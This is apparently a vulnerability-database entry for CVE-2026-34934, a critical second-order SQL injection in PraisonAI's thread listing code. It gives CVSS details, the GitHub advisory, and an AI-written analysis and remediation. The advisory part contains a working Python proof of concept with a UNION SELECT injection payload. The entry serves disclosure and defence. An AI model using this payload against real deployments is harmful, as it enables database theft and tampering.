What is the CVSS score of CVE-2026-34934?

CVE-2026-34934 has a CVSS 3.1 base score of 9.8 (Critical). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. EPSS exploitation probability: 0.0%.

Which versions of Python are affected by CVE-2026-34934?

PraisonAI contains a critical SQL injection vulnerability in its thread listing function that allows unauthenticated attackers to execute arbitrary database queries and potentially compromise all…. A patch is available.

How to fix or mitigate CVE-2026-34934?

Within 24 hours: Identify all systems running PraisonAI and isolate affected instances from production networks if possible; document current installed versions. Within 7 days: Monitor vendor advisory for patch release and prepare deployment procedures; implement network-level access controls to restrict PraisonAI endpoints to trusted sources only. Within 30 days: Apply vendor-released patch immediately upon availability to all PraisonAI installations; conduct database audit for signs of unauthorized access or queries.

Python CVE-2026-34934

CRITICAL

SQL Injection (CWE-89)

2026-04-01 https://github.com/MervinPraison/PraisonAI

GHSA-9cq8-3v94-434g

Python SQLi Information Disclosure

9.8

CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

9.8 CRITICAL

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

High

Lifecycle Timeline

Patch released

Apr 02, 2026 - 14:30 nvd

Patch available

Analysis Generated

Apr 02, 2026 - 00:15 vuln.today

CVE Published

Apr 01, 2026 - 23:20 nvd

CRITICAL 9.8

DescriptionGitHub Advisory

Summary

The get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access.

---

Details

File Path: src/praisonai/praisonai/ui/sql_alchemy.py

Flow:

Source (Line 539):

python

await data_layer.update_thread(thread_id=payload, user_id=user)

Hop (Line 547):

python

thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"

Sink (Line 576):

sql

WHERE s."threadId" IN {thread_ids}

---

Proof of Concept (PoC)

python


import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer

async def run_poc():
    data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")
# Insert a valid thread
    await data_layer.update_thread(
        thread_id="valid_thread",
        user_id="attacker"
    )
# Inject malicious payload
    payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"

    await data_layer.update_thread(
        thread_id=payload,
        user_id="attacker"
    )
# Trigger vulnerable function
    result = await data_layer.get_all_user_threads(user_id="attacker")

    for thread in result:
        if getattr(thread, 'id', '') == 'valid_thread':
            for step in getattr(thread, 'steps', []):
                print(getattr(step, 'id', ''))

asyncio.run(run_poc())
# Expected Output:
# sqlite_master table names printed to console

---

Impact

An attacker can achieve full database compromise, including:

Exfiltration of sensitive data (user emails, session tokens, API keys)
Access to all conversation histories
Ability to modify or delete database contents

AnalysisAI

SQL injection in PraisonAI's thread listing function allows unauthenticated remote attackers to execute arbitrary SQL queries and achieve complete database compromise. The vulnerability exists in sql_alchemy.py where thread IDs stored via update_thread are concatenated into raw SQL queries using f-strings without sanitization. Attackers inject malicious SQL through thread_id parameters, which execute when get_all_user_threads loads the thread list. CVSS 9.8 (Critical) reflects network-accessible exploitation requiring no authentication or user interaction. No public exploit confirmed beyond the GitHub security advisory POC, though EPSS data unavailable. Immediate patching required for all PraisonAI Python package installations.

Technical ContextAI

This vulnerability affects the PraisonAI Python package (pkg:pip/praisonai), specifically the SQLAlchemyDataLayer class in src/praisonai/praisonai/ui/sql_alchemy.py. The flaw represents a classic second-order SQL injection (CWE-89) where malicious data is stored in one operation and exploited in another. The vulnerable code path begins at line 539 where update_thread accepts attacker-controlled thread_id values without validation. These values are persisted to the database, then retrieved and concatenated into a SQL IN clause at line 547 using Python string formatting: thread_ids = "('" + "','".join([t['thread_id'] for t in user_threads]) + "')". This concatenated string is embedded directly into a SQL WHERE clause at line 576 without parameterization. The vulnerability bypasses first-order SQL injection protections because the payload is stored during thread creation and triggers later during thread enumeration. SQLAlchemy's ORM protections are circumvented by using raw SQL construction instead of parameterized queries or ORM abstractions.

RemediationAI

Immediately upgrade PraisonAI to a patched version addressing GHSA-9cq8-3v94-434g per the GitHub security advisory at https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9cq8-3v94-434g. Monitor the advisory and associated GitHub repository at https://github.com/MervinPraison/PraisonAI for release announcements containing the fix. The upstream fix should replace raw SQL string concatenation with parameterized queries using SQLAlchemy's bound parameter syntax or ORM query builders. As an interim mitigation if patching is delayed, implement strict input validation on thread_id parameters to reject any values containing SQL metacharacters (quotes, parentheses, semicolons, SQL keywords). Consider temporarily disabling the get_all_user_threads functionality or restricting access to authenticated administrative users only if business requirements permit. Review database logs for suspicious thread_id patterns indicative of exploitation attempts, particularly entries containing UNION, SELECT, or comment delimiters. After patching, conduct a security audit of existing thread_id records to identify and remove potential stored payloads.